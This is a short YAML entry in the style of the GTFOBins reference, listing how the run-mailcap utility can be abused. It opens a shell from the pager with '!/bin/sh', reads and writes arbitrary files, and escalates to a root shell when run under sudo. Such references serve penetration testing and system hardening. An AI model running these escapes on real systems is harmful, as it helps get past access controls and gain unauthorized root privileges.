---
functions:
  shell:
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        run-mailcap --action=view /etc/hosts
        !/bin/sh
  file-read:
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: run-mailcap --action=view file_to_read
  file-write:
    - description: |
        The file must exist and be not empty.

        This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.
      code: run-mailcap --action=edit file_to_read
  sudo:
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        sudo run-mailcap --action=view /etc/hosts
        !/bin/sh
---